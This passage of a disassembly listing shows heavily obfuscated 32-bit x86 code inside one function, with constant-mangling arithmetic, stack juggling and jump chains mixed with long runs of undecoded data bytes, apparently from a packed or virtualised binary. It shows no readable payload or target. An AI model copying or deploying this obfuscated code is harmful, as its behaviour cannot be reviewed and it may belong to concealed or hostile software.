		dd 1EE9241Ch, 0F70000E0h, 0C6E981D1h, 2D6AB2CBh, 0EC20806h
		dd 0FFE4B3E9h, 240483FFh, 89565D04h, 4C681E6h, 83000000h
		dd 348704EEh, 0F91EE924h, 0EB810000h, 0C2C99428h, 0E95BD821h
		dd 0FFFFFD65h, 4EC81h, 0C890000h, 81E18924h, 4C1h, 4C18300h
		dd 5C240C87h, 1014B951h, 0D1415D68h, 2E9C1E9h, 1D05E181h
		dd 0C1812A50h, 227760B2h, 0C8BCB01h, 4C48324h, 0EB81C329h
		dd 2C7760B2h, 4CA9BD55h, 58E9461Dh, 54FFFFF8h, 3A05E9h
		dd 4EC8300h, 68241489h,	5EBDh, 0FFCFD1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5575B5:				; CODE XREF: sub_542C3C+14F67j
		push	[esp+9Ah+var_9C+2]
		pop	eax
		add	esp, 4
		jmp	loc_5615DE
; ---------------------------------------------------------------------------
		dd 0E924248Bh, 442h, 5EB4BA52h,	0DAF77757h, 0AEA81h, 0EAC13C1Fh
		dd 46F36805h, 14890000h, 2404FF24h, 0F65AE95Ah,	685A0000h
		dd 0D74h, 0FF240489h, 8B042474h, 0C4812404h, 4,	5C24048Fh
		dd 8140478Fh, 42904077h, 34FF1689h, 24048B24h, 6804C483h
		dd 4DEDh, 0EC7FE9h, 8BEB3000h, 0C483240Ch, 0CC39E904h
		dd 4BDFFFFh, 29000000h,	0C335DE9h, 240C3124h, 5C240C33h
		dd 89242C89h, 0F67DE9E5h, 15AFFFFh, 243C8BF9h, 4C481h
		dd 0C8010000h, 81240C8Bh, 4C4h,	20500h,	4330000h, 24043124h
		dd 0E9240433h, 0FFFFDE9Bh, 0E924048Bh, 0F934h, 4EE815Fh
		dd 33000000h, 0E7E92434h, 900004Eh, 0E5C159CDh,	5CED8107h
		dd 29B9A3A0h, 0C2815DEAh, 0B5F6FC8h, 0EA81EA01h, 0B5F6FC8h
		dd 5A24C281h, 0E95D210Bh, 0FFFFBE94h, 0FFBE8FE9h, 2B8FFh
		dd 0C3010000h, 8324048Bh, 1C3304C4h, 241C3124h,	8B241C33h
		dd 0F662424h, 9C2404BBh, 0FFBE6BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5576E1:				; CODE XREF: sub_542C3C+1DD79j
		sub	esp, 4
		mov	[esp+9Ah+var_9C+2], edi
		jmp	loc_560FE3
; ---------------------------------------------------------------------------
		dd 1375C681h, 15B4397h,	0ACEE81D6h, 8B09D022h, 89532414h
		dd 17E951E3h, 5D0000E4h, 79BAE9h
		db 0
; ---------------------------------------------------------------------------

loc_55770D:				; CODE XREF: sub_542C3C+1A8BEj
		or	ebx, eax
		pop	eax
		push	ecx
		mov	ecx, 7CB6297Dh
		sub	ebx, ecx
		pop	ecx
		push	0
		sub	[esp+9Ah+var_9C+2], ebx
		jmp	loc_5578BE
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 4C48124h, 0E9000000h, 0ABFBh
; ---------------------------------------------------------------------------

loc_557734:				; CODE XREF: sub_542C3C+1C3C0j
		push	42B1h
		mov	[esp], ebx
		mov	ebx, esp
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		push	esi
		push	[esp+0A6h+var_A2]
		pop	esi
		pop	[esp+0A6h+var_A6]
		pop	esp
		mov	[esp], esi
		mov	esi, 71A252D8h
		xor	esi, 71A252DCh
		sub	ebx, 5ABC173Dh
		add	ebx, esi
		add	ebx, 5ABC173Dh
		pop	esi
		push	edx
		jmp	loc_565010
; ---------------------------------------------------------------------------

loc_55777A:				; CODE XREF: sub_542C3C+12F03j
		mov	[esp+0BEh+var_BE], ebx
		jmp	loc_5542C6
; ---------------------------------------------------------------------------

loc_557782:				; CODE XREF: sub_542C3C+211F6j
		pop	esp
		push	edx
		mov	edx, 2D135953h
		add	ebx, edx
		pop	edx
		jmp	loc_5601A4
; ---------------------------------------------------------------------------

loc_557791:				; CODE XREF: sub_542C3C+16CFFj
		pop	edx
		xchg	ebx, [esp+0B6h+var_B6]
		pop	esp
		push	2D7Eh
		jmp	loc_559997
; ---------------------------------------------------------------------------

loc_5577A0:				; CODE XREF: sub_542C3C+210CDj
		pop	esp
		mov	[esp+0B2h+var_B2], edi
		mov	edi, 4
		add	esi, 742373ECh
		jmp	loc_55C7C9
; ---------------------------------------------------------------------------
		dd 42474FFh, 24048F59h,	5352665Ch, 27E9BAB3h
		db 0Bh,	1, 0
; ---------------------------------------------------------------------------

loc_5577C7:				; CODE XREF: sub_542C3C+10DEDj
		add	eax, 548A3477h
		add	eax, edx
		sub	eax, 548A3477h
		pop	edx
		push	[esp+40h+var_40]
		pop	edi
		add	esp, 4
		sub	esp, 4
		mov	[esp+40h+var_40], edx
		jmp	loc_558C4C
; ---------------------------------------------------------------------------

loc_5577E9:				; CODE XREF: sub_542C3C+253A7j
		add	esp, 4
		push	ebp
		push	[esp+40h+var_3C]
		pop	ebp
		pop	[esp+40h+var_40]
		pop	esp
		push	ebp
		jmp	loc_567896
; ---------------------------------------------------------------------------
		db 33h
		dd 0BDE9240Ch, 89FFFFFDh, 55B5240Ch, 8904EC83h,	97E9241Ch
		dd 5000039h, 0EC20806h,	2DF02959h, 499000BBh, 2404875Eh
		dd 4DEEE9h
		db 0
; ---------------------------------------------------------------------------

loc_55782D:				; CODE XREF: sub_542C3C+10AECj
		add	ebx, 11715259h
		jmp	loc_566A90
; ---------------------------------------------------------------------------
		dd 5C24048Fh, 0FFCEA2E9h, 243487FFh, 243C895Ch,	277EBA52h
		dd 0D789642Bh, 2212E95Ah, 0E9500000h, 8CCAh, 582434FFh
		dd 0E904C483h, 655Dh, 0AE13E5BDh, 0C4E94D5Ch, 5C000063h
		dd 89BE5652h, 8165ED70h, 3CC066C6h, 0E9F28911h,	0CD54h
		dd 59CF8858h, 0FFCC72E9h, 405FFh, 9FE90000h
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55789B:				; CODE XREF: sub_542C3C+1AADAj
		pop	edx
		add	ebx, edx
		pop	edx
		jmp	loc_554232
; ---------------------------------------------------------------------------
		dd 0E9240433h, 5686h
; ---------------------------------------------------------------------------

loc_5578AC:				; CODE XREF: sub_542C3C+1A5C1j
		mov	esi, [esp+50h+var_50]
		jmp	loc_55D46C
; ---------------------------------------------------------------------------
		dd 2404005Ch, 0BC8EE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5578BE:				; CODE XREF: sub_542C3C+14AE5j
		mov	ebx, [esp+9Ah+var_9C+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		shl	ebx, 4
		push	eax
		mov	eax, 26941EBCh
		not	eax
		shr	eax, 7
		shr	eax, 4
		push	7B29h
		mov	[esp+0A2h+var_A2], edi
		jmp	loc_5555B9
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0E24E900h
		db 1, 0
; ---------------------------------------------------------------------------

loc_5578FA:				; CODE XREF: sub_542C3C+1A27Ej
		push	edx
		mov	edx, 68D31947h
		or	edx, 0E9F1B3Ch
		sub	edx, 278F6508h
		xor	edx, 5E7AF35Ch
		or	ecx, edx
		pop	edx
		push	ebx
		mov	ebx, 37FC0F5Bh
		or	ebx, 41A05DB3h
		inc	ebx
		push	ebx
		neg	[esp+0AAh+var_AA]
		pop	ebx
		jmp	loc_55E519
; ---------------------------------------------------------------------------
		dd 592434FFh, 4C481h, 0DD680000h, 0E900001Eh, 0FFFFEE69h
; ---------------------------------------------------------------------------

loc_557940:				; CODE XREF: sub_542C3C+1AA18j
		add	esi, 4
		xchg	esi, [esp+0A6h+var_A6]
		jmp	loc_55F65C
; ---------------------------------------------------------------------------
		db 81h
		dd 883BB5C5h, 5D5855EDh, 1C4DE9h
		db 0
; ---------------------------------------------------------------------------

loc_557959:				; CODE XREF: sub_542C3C+2183Cj
		mov	[esp+0A6h+var_A6], ecx
		push	7E536CC4h
		pop	ecx
		push	ebp
		mov	ebp, 4310707Bh
		jmp	loc_55700C
; ---------------------------------------------------------------------------
		db 31h,	0EBh, 0E9h
		dd 10FFh
; ---------------------------------------------------------------------------

loc_557974:				; CODE XREF: sub_542C3C+1F7EBj
		pop	edi
		push	eax
		mov	eax, esp
		jmp	loc_56240A
; ---------------------------------------------------------------------------
		db 80h,	0C7h, 0B4h
		dd 0E913B450h, 468Fh, 0B363A42Dh, 5868597Ah, 8900007Dh
		dd 2BE2434h, 1000000h, 4875EF0h, 8B665C24h, 0EC83240Ch
		dd 240C8904h, 4EC81h, 24890000h, 24048124h, 4, 0EFE5E9h
		dd 51525B00h, 0B551B353h, 0F096E9BFh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5579CE:				; CODE XREF: sub_542C3C+192FCj
		add	bl, ch
		sub	bl, 7Ah
		jmp	loc_567C28
; ---------------------------------------------------------------------------
		dd 0E3895395h, 4C381h, 0B8500000h, 4, 0E958C329h, 0B241h
		dd 286EE949h, 4BD0000h,	0E9000000h, 0EB87h, 0FFBB47E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_557A05:				; CODE XREF: sub_542C3C+1F17Ej
		push	esi
		sub	esp, 4
		jmp	loc_56200E
; ---------------------------------------------------------------------------
		dw 0F766h
		dd 0B36866F9h, 1489666Ch, 9C506624h, 0FFBB2BE9h, 243C33FFh
		dd 33243C31h, 248B243Ch, 4EC8124h, 89000000h, 6657241Ch
		dd 565486BFh, 0E904EC83h, 175Bh, 33243C31h, 248B243Ch
		dd 24043024h, 36C7E99Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_557A56:				; CODE XREF: sub_542C3C+116A6j
		mov	ecx, [esp+88h+var_88]
		add	esp, 4
		sub	esp, 4
		mov	[esp+88h+var_88], edx
		push	edi
		mov	edi, 1BD961C3h
		or	edi, 1A05462Dh
		not	edi
		sub	edi, 7A20B5Eh
		shr	edi, 1
		add	edi, 9EB15ECh
		mov	edx, edi
		pop	edi
		dec	edx
		dec	edx
		push	eax
		mov	eax, 87D4A3C1h
		add	edx, eax
		pop	eax
		add	ecx, 1AD47779h
		jmp	loc_5586A3
; ---------------------------------------------------------------------------
		db 83h
		dd 3C8904ECh, 4685124h,	0FF000000h, 3EE92434h, 8100001Bh
		dd 726BE8E6h, 0C4EE815Fh, 895F526Ah, 0EE295EF5h, 2434875Dh
		dd 241C895Ch, 0FFD2CDE9h, 80D1F6FFh, 506665C1h,	1CB25253h
		dd 8857EA80h, 0B5515AD7h, 59EC883Ah, 285BFC00h,	805866E1h
		dd 0E9801CC9h, 0E9C828BEh, 0AA9Bh, 0BA52535Ch, 7E9D6638h
		dd 0CDFAE955h, 2C8BFFFFh, 0EBB7E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_557B0A:				; CODE XREF: sub_542C3C+11B91j
		not	ebp
		jmp	loc_567345
; ---------------------------------------------------------------------------
		db 81h,	0F2h, 0C7h
		dd 0E95E1167h, 1469h, 79E9F029h
		db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_557B23:				; CODE XREF: sub_542C3C+2524Cj
		mov	eax, [esp+80h+var_80]
		add	esp, 4
		push	0C8Ah
		mov	[esp+80h+var_80], eax
		jmp	loc_562189
; ---------------------------------------------------------------------------

loc_557B36:				; CODE XREF: sub_542C3C+1DDF0j
		sub	eax, 4
		xchg	eax, [esp+80h+var_80]
		pop	esp
		mov	[esp+7Ch+var_7C], ecx
		mov	cl, 0F8h
		jmp	loc_55BC30
; ---------------------------------------------------------------------------

loc_557B47:				; CODE XREF: sub_542C3C+1DA2Ej
		mov	ebx, 21C566A5h
		and	edx, ebx
		pop	ebx
		add	edx, 0DF3E9F84h
		sub	esi, 1F412EA5h
		jmp	loc_56415E
; ---------------------------------------------------------------------------
		dd 8124348Bh, 4C4h, 5E95700h, 5FFFFFBAh, 0CDE9D1F7h
		db 0DFh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_557B77:				; CODE XREF: sub_542C3C+212B2j
		xor	edi, 9204A46Bh
		mov	esi, edi
		pop	edi
		add	esi, 755142FBh
		add	esi, 0DA11F656h
		xor	esi, 555F3848h
		sub	esi, 21D70A77h
		shr	esi, 2
		push	eax
		mov	eax, 483353FEh
		xor	esi, eax
		jmp	loc_5575B5
; ---------------------------------------------------------------------------

loc_557BA8:				; CODE XREF: sub_542C3C+10CE1j
		or	eax, 2E352983h
		push	esi
		jmp	loc_5661B6
; ---------------------------------------------------------------------------
		db 59h
		dd 0E958C701h, 0FFFFCB56h, 4C381h, 0EB830000h, 241C8704h
		dd 240C895Ch, 0F068E189h, 89000056h, 4BE2434h, 0E9000000h
		dd 0E881h
; ---------------------------------------------------------------------------

loc_557BE0:				; CODE XREF: sub_542C3C+1E3FCj
		add	ebx, 4
		xchg	ebx, [esp+4Ch+var_4C]
		jmp	loc_5626F9
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 6CA9BB2Ch, 6BC9C781h, 0EF017C56h, 6BC9EF81h,	0E95D7C56h
		dd 0D663h, 74FF505Fh, 0E9580424h, 0FE8Eh, 79B1E95Bh, 0E3800000h
		dd 80C3FE8Bh, 0D8281CF3h, 4EC835Bh, 54240489h, 40558h
		dd 12E90000h
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_557C37:				; CODE XREF: sub_542C3C+1B3D5j
		and	edi, 48552D44h
		neg	edi
		xor	edi, 0D522C00Fh
		jmp	loc_562C03
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 237B790Fh, 0B951DEF7h, 634F703Ch, 0FFDFD4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_557C5D:				; CODE XREF: sub_542C3C+1AC81j
		mov	edi, esp
		jmp	loc_5551FD
; ---------------------------------------------------------------------------
		dd 3D1DF781h, 0DFF7486Bh, 243C8757h, 3C87D7F7h,	0F7815F24h
		dd 8700BE35h, 315FFA01h, 0EF815AD7h, 0ECEC681Dh, 0BEF1E9h
		dd 0C4835B00h, 4EC8104h, 0E9000000h, 2E1h, 0E9FD8959h
		dd 6F6Eh
; ---------------------------------------------------------------------------

loc_557CA4:				; CODE XREF: sub_542C3C+1CFCAj
		mov	[esp+4Ch+var_4C], eax
		jmp	loc_5546A5
; ---------------------------------------------------------------------------

loc_557CAC:				; CODE XREF: sub_542C3C+1D589j
		pop	ecx
		push	edi
		mov	edi, 5F684547h
		jmp	loc_5642A5
; ---------------------------------------------------------------------------
		dd 8304C483h, 1C8904ECh, 835B5424h, 348904ECh, 3016BE24h
		dd 0EC830373h, 24348904h, 0F7240C87h, 240C87D1h, 8124348Bh
		dd 4C4h, 1BC68100h, 1037330h, 24348BF3h, 56E08950h, 6A5AF0BEh
		dd 30C68139h, 4E5FDE0Dh, 681BEE81h, 0F0019948h,	4055Eh
		dd 46E90000h, 81FFFFCFh, 87A690C6h, 8BF0316Eh, 0C4812434h
		dd 4, 52A268h, 240C8900h, 84B5BA52h, 0D9E90F6Dh, 5CFFFFC4h
		dd 240C8966h, 9AE95266h, 810000CCh, 0A72652C1h,	64E94107h
		dd 66000020h, 7C66E781h, 74C78166h, 0F83166F8h,	6025E9h
		dd 4C48100h, 56000000h,	0D05ECBEh, 0E7FE90Ah, 814D0000h
		dd 0D7E4DF5h, 0E9E9015Dh, 3CADh
; ---------------------------------------------------------------------------

loc_557D80:				; CODE XREF: sub_542C3C+22303j
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_560938
; ---------------------------------------------------------------------------

loc_557D8E:				; CODE XREF: sub_542C3C+1AC20j
		mov	[esp+50h+var_50], edx
		push	edi
		mov	edi, 494B354Ch
		mov	edx, 0BB1B7551h
		sub	edx, edi
		pop	edi
		inc	edx
		inc	edx
		shl	edx, 3
		sub	edx, 2FEEB2F7h
		mov	ebx, edx
		mov	edx, [esp+50h+var_50]
		jmp	loc_559FB6
; ---------------------------------------------------------------------------
		dd 5A2434FFh, 81E38953h, 4C3h, 4C38300h, 0FFF74AE9h, 34FF5FFFh
		db 24h,	59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+54h+var_54]
		jmp	loc_563553
; ---------------------------------------------------------------------------

loc_557DE2:				; CODE XREF: sub_542C3C+1D7B0j
		pop	esp
		jmp	loc_567599
; ---------------------------------------------------------------------------

loc_557DE8:				; CODE XREF: sub_542C3C+1E477j
		pop	ecx
		add	esp, 4
		popa
		popf
		retn
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFB758h, 2D07E8C1h, 611CE778h, 5401E9h, 98E94A00h
		dd 8FFFFDFh, 7570E9C5h,	0C2810000h, 2, 8904EC83h, 74FF2414h
		dd 148B0424h, 0C9E5E924h, 0C9810000h, 19F770BBh, 2C87C981h
		dd 0BE567639h, 5D5B6C35h, 8107E6C1h, 0E441A9C6h, 5EF129A2h
		dd 0BF18141h, 8934EB74h, 0D58959CAh, 9635E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_557E56:				; CODE XREF: sub_542C3C+111C7j
		add	esi, 651C01D9h
		xor	esi, 99FAA95Fh
		jmp	loc_5587F9
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0EC832424h, 241C8904h, 4BBh,	0E9DF0100h, 1C9Bh, 31240433h
		dd 4332404h, 0EFD2E924h, 0C1810000h, 4,	0E904C183h, 6F07h
; ---------------------------------------------------------------------------

loc_557E98:				; CODE XREF: sub_542C3C+13AF4j
		mov	eax, 4
		add	esi, eax
		pop	eax
		jmp	loc_56503A
; ---------------------------------------------------------------------------
		db 5Fh,	1, 0FEh
		dd 24148B5Fh, 729F68h, 0DE59E900h, 0EC830000h, 242C8904h
		dd 42474FFh, 4B30E9h, 0A5C58100h, 29313E64h, 3AE957CDh
		dd 0E9000107h, 0FFFFB674h, 0B9240C89h, 24F35289h, 0E959CD89h
		dd 827Fh, 24048B56h, 0C7E95451h, 5C0000E1h, 0A796E954h
		dd 0F7810000h, 0AB4A2576h, 3CC7EE81h, 0FE014AD0h, 3CC7C681h
		dd 3C8B4AD0h, 0E3895324h, 4C381h, 0C3810000h, 4, 2474FF53h
		dd 48F5B04h, 0F3315C24h, 0E92434FFh, 0DDBEh
; ---------------------------------------------------------------------------

loc_557F34:				; CODE XREF: sub_542C3C+13876j
		sub	esi, 0FFFFFFFFh
		push	ecx
		jmp	loc_554147
; ---------------------------------------------------------------------------
		db 0F6h, 1Ch, 24h
		dd 0B606E99Ch, 0D089FFFFh, 4E8C15Ah, 53486635h,	0EC66E93Dh
		dd 0C0090000h, 2270840Fh, 0EC830000h, 24148904h, 37E6855h
		dd 34890000h, 90E95724h, 0B8000054h, 16017764h,	7D17E9h
		dd 24048900h, 418CE9h, 4C68100h, 68000000h, 2117h, 68240489h
		dd 2, 0E9C60158h, 2603h, 0C1E95552h, 29FFFFF8h,	5F08247Ch
		dd 2434FF5Ah, 4C48358h,	0FFF8D8E9h, 651B68FFh, 84E90000h
		dd 5D000075h, 5AA5E9h, 1EAC6800h, 0DDE90000h
		db 3Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_557FD3:				; CODE XREF: sub_542C3C+17726j
		push	[esp+94h+var_90]
		pop	ebp
		jmp	loc_563D3C
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 289FE9h, 81F92900h, 94593FC1h, 54C18135h, 5F42BB20h
		dd 240C875Fh, 8324248Bh, 3C8904ECh, 4EC8324h, 0D3E9E951h
		dd 0C781FFFFh, 4, 5C243C87h, 0A764205h,	58C289B3h, 0E6BAE953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_558022:				; CODE XREF: sub_542C3C+25540j
		mov	eax, 2E212DC8h
		jmp	loc_5655ED
; ---------------------------------------------------------------------------

loc_55802C:				; CODE XREF: sub_542C3C+17754j
		push	eax
		mov	eax, 119A2EF2h
		neg	eax
		not	eax
		and	eax, 20547B70h
		shl	eax, 2
		or	eax, 62836AE6h
		sub	eax, 16B4BECEh
		jmp	loc_55916E
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 0E9000000h, 6AC0h, 0E9240C87h, 0FFFFFA94h
; ---------------------------------------------------------------------------

loc_558060:				; CODE XREF: sub_542C3C+1814Cj
		add	esp, 4
		sub	eax, 2CEB3CA3h
		not	eax
		xor	eax, 510B3330h
		jmp	loc_55B56C
; ---------------------------------------------------------------------------
		dd 2E5C145h, 0FFFB71E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55807D:				; CODE XREF: sub_542C3C+18F97j
		push	[esp+94h+var_94]
		pop	edx
		add	esp, 4
		push	5BA7h
		mov	[esp+94h+var_94], edi
		not	[esp+94h+var_94]
		jmp	loc_55C255
; ---------------------------------------------------------------------------

loc_558097:				; CODE XREF: sub_542C3C+1302Fj
		mov	edi, 24A85AE5h
		mov	eax, edi
		pop	edi
		add	edx, eax
		push	[esp+40h+var_40]
		pop	eax
		jmp	loc_560D72
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0BF243C89h, 6D082975h, 6A83BE56h,	0EEC1638Fh, 0B4E94602h
		db 36h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5580C7:				; CODE XREF: sub_542C3C+1A599j
		add	esi, 4
		xchg	esi, [esp+40h+var_40]
		pop	esp
		shl	ecx, 4
		neg	ecx
		shr	ecx, 4
		push	4E97h
		jmp	loc_56446F
; ---------------------------------------------------------------------------
		db 68h
		dd 6A5Bh, 68241489h, 109Ch, 0E9240489h,	0C855h
; ---------------------------------------------------------------------------

loc_5580F8:				; CODE XREF: sub_542C3C+1AD6Bj
		not	esi
		push	ebx
		mov	ebx, 1
		sub	esi, ebx
		pop	ebx
		add	esi, 0EDE09C2Dh
		push	esi
		push	eax
		mov	eax, 12611EB3h
		jmp	loc_55B70B
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 1Ch
		dd 2C48124h, 30000000h,	0C0B60FC3h, 87048F66h, 0FFB41FE9h
		dd 4BAFFh, 0D6010000h, 77BD555Ah, 0E968A13Ah, 4AB6h, 64DB68h
		dd 240C8900h, 0F324E950h, 34FF0000h, 241C8B24h,	0E904C483h
		dd 9B4Bh, 0D91ABB53h, 0DD31C328h, 5DEB015Bh, 4B52BA52h
		dd 0D2F75CA7h, 6C1CEA81h, 0D3014712h, 76E95E5Ah
		db 33h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55817F:				; CODE XREF: sub_542C3C+184A7j
		xor	eax, [esp+48h+var_48]
		xor	[esp+48h+var_48], eax
		xor	eax, [esp+48h+var_48]
		pop	esp
		push	small word ptr [eax]
		jmp	loc_55354C
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 0C2680000h, 8900000Ch, 0C3E92414h, 100009Bh,	240C8BCEh
		dd 47CBE9h, 0B7536600h,	66F930D6h, 83241C8Bh, 0B22C02C4h
		dd 0ECE9EE2Ch, 810000A2h, 0CB60CDEFh, 0FFC78376h, 9879E9h
		dd 1C77FF00h, 6658669Dh, 9C240411h, 0FFB36BE9h,	243C8BFFh
		dd 4C481h, 874F0000h, 9A05E9F9h, 0F2800000h, 15EA80B5h
		dd 5E9D028h, 81000036h,	4C5h, 4BA5200h,	29000000h, 24148BD5h
		dd 81E28952h, 4C2h, 0F65BE900h,	34FF0000h, 0C4835924h
		dd 24143304h, 33241431h, 555C2414h, 5C247FBDh, 0C1D5F77Bh
		dd 0F58102E5h, 9A500CBh, 0FFFE2FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_558245:				; CODE XREF: sub_542C3C+1C019j
		xor	esi, 0DE18C85h
		push	esi
		sub	[esp+4Ah+var_4C+2], 4DA81F73h
		mov	ebp, [esp+4Ah+var_4C+2]
		add	esp, 4
		jmp	loc_5685BE
; ---------------------------------------------------------------------------
		dw 8952h
		dd 0B538E9CAh, 0E950FFFFh, 0BEFAh, 5C243C33h, 31240433h
		dd 4332404h, 24248B24h,	0FFCDB2E9h, 0C0B60FFFh,	0E98734FFh
		dd 0FFFFB2C0h, 0A206C6B8h, 0F93E050Dh, 0EB81F25Dh, 46704736h
		dd 0C381C301h, 46704736h, 0A9E95258h
		db 0C3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5582AB:				; CODE XREF: sub_542C3C+12DE8j
		dec	ebx
		sub	ebx, 41B57AFAh
		add	edi, ebx
		pop	ebx
		xor	eax, edi
		pop	edi
		sub	esp, 4
		mov	[esp+0A2h+var_A2], ebp
		mov	ebp, 20000h
		and	eax, ebp
		push	[esp+0A2h+var_A2]
		jmp	loc_564440
; ---------------------------------------------------------------------------

loc_5582CD:				; CODE XREF: sub_542C3C+18BC3j
		push	67C9h
		mov	[esp+0AAh+var_AA], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xor	eax, [esp+0AAh+var_AA]
		xor	[esp+0AAh+var_AA], eax
		jmp	loc_564D0A
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 6FE9240Ch, 29FFFFFFh, 3FC181F9h, 5F095D1Dh
		dd 8159CD89h, 375CD3EFh, 0E9EF0107h, 9849h, 24048B66h
		dd 371568h, 24048900h, 0FFF27EE9h, 4EC81FFh, 89000000h
		dd 0E954243Ch, 204Ch, 2C096850h, 14890000h, 1C8B6824h
		dd 148B46F2h, 4C48124h,	0F7000000h, 0EA8142D2h,	78AC9FFDh
		dd 34FFD089h, 0C4835A24h, 4EC8304h, 0B9240C89h,	0E8E90481h
		dd 0BBE9C801h
		db 41h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55836B:				; CODE XREF: sub_542C3C+1BC8Dj
		pop	esp
		add	eax, 661434F0h
		sub	eax, 19293659h
		push	edi
		mov	edi, 4CF52A6Ah
		xor	edi, 6E2160Bh
		jmp	loc_55AEEC
; ---------------------------------------------------------------------------

loc_558387:				; CODE XREF: sub_542C3C+24D55j
		push	ebx
		mov	ebx, 14795B84h
		jmp	loc_5668C0
; ---------------------------------------------------------------------------
		dw 0A3B9h
		dd 811D4D12h, 0F8454EF1h, 42B2E97Ah, 0DA010000h, 0CDEA815Bh
		dd 1214004h, 0CDC281FAh, 81214004h, 692902EAh, 0FABE5658h
		dd 2931DF1Ah, 0E95F5EF2h, 0FFFFFA46h, 0BE243489h, 68902AF2h
		dd 55BEB81h, 76E97BEEh,	0F70000DAh, 4EEC1DEh, 0E84FF681h
		dd 0F3017A38h, 0BA525A5Eh, 2, 3293E9h, 50CB0100h, 93376068h
		dd 24048B5Ah, 4C481h, 0BA680000h, 89000020h, 31E9241Ch
		dd 54FFFFD7h, 4C6815Eh,	0E9000000h, 91DFh, 59CF885Bh, 0E924048Bh
		dd 4106h, 83243C8Bh, 895104C4h,	4C181E1h, 83000000h, 0D8E904C1h
		dd 8100007Ah, 0B0FB2EFh, 81DF0159h, 0B0FB2C7h, 54476859h
		dd 14890000h, 6F62BA24h, 0C7817B95h, 4CDF2B1Eh,	0EF81D729h
		dd 4CDF2B1Eh, 0FF575B5Ah, 5F042474h, 5C24048Fh,	5D5E9h
		dd 81DEF700h, 214D1BCEh, 0DBEE8124h, 89FFF3CFh,	0DA015EF3h
		dd 685685Bh, 34890000h,	4D86E924h, 0EC830000h, 24048904h
		dd 2BE6E9h, 0B09EE900h,	24D3FFFFh, 95E99C24h, 0E9FFFFB0h
		dd 0FFFFB090h, 7D4DE981h, 0CD011C95h, 0EC815159h, 4, 0FFB7D5E9h
		dd 81EB29FFh, 510674C3h, 0C3815D6Dh, 78AC7E86h,	0EB81EB01h
		dd 78AC7E86h, 2F09C381h, 505D45C9h, 0FFF1C8E9h,	243431FFh
		dd 0E9243433h, 0FFFFD214h
; ---------------------------------------------------------------------------

loc_558500:				; CODE XREF: sub_542C3C+2588Cj
		push	[esp+0AEh+var_AA]
		push	[esp+0B2h+var_B2]
		pop	ebp
		add	esp, 4
		pop	[esp+0AEh+var_AE]
		pop	esp
		pop	dword ptr [edi+24h]

loc_558512:				; CODE XREF: sub_542C3C+214DEj
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+0A6h+var_A6]
		jmp	loc_55F6FC
; ---------------------------------------------------------------------------
aUS		db 'Àã',7,'éÁ|',0
		dw 8F00h
		dd 4832404h, 0BDE90424h, 89000098h, 8BF243Ch, 0E9104C5Eh
		dd 15DEh
; ---------------------------------------------------------------------------

loc_558548:				; CODE XREF: sub_542C3C+1443Dj
		push	ebp
		push	eax
		mov	eax, 4A8F5D6Bh
		push	ebx
		mov	ebx, eax
		mov	ebp, ebx
		pop	ebx
		pop	eax
		add	edx, ebp
		pop	ebp
		jmp	loc_55681B
; ---------------------------------------------------------------------------
		dw 0E581h
		dd 53F835F3h, 4004CD81h, 0CD810659h, 4A643839h,	3CED8145h
		dd 834E7D79h, 2C8904ECh, 0BEBE5624h, 8923F856h,	0E9505EF5h
		dd 0FFFFE1C5h, 21511B9h, 59CA012Eh, 0FFECDEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_558599:				; CODE XREF: sub_542C3C+1FE73j
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5635BF
; ---------------------------------------------------------------------------
		db 51h
		dd 380A83B9h, 59CB01D9h, 91B85055h, 0E9677E03h,	0D0E6h
		dd 83242C8Bh, 2C3104C4h, 242C3324h, 0E9242C31h,	7D5Fh
		dd 0FFF0285Bh, 515A2434h, 0ABE9E189h
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5585DF:				; CODE XREF: sub_542C3C+24958j
		or	esi, 6DA818BBh
		neg	esi
		shl	esi, 1
		push	ecx
		jmp	loc_554661
; ---------------------------------------------------------------------------
		db 0FFh
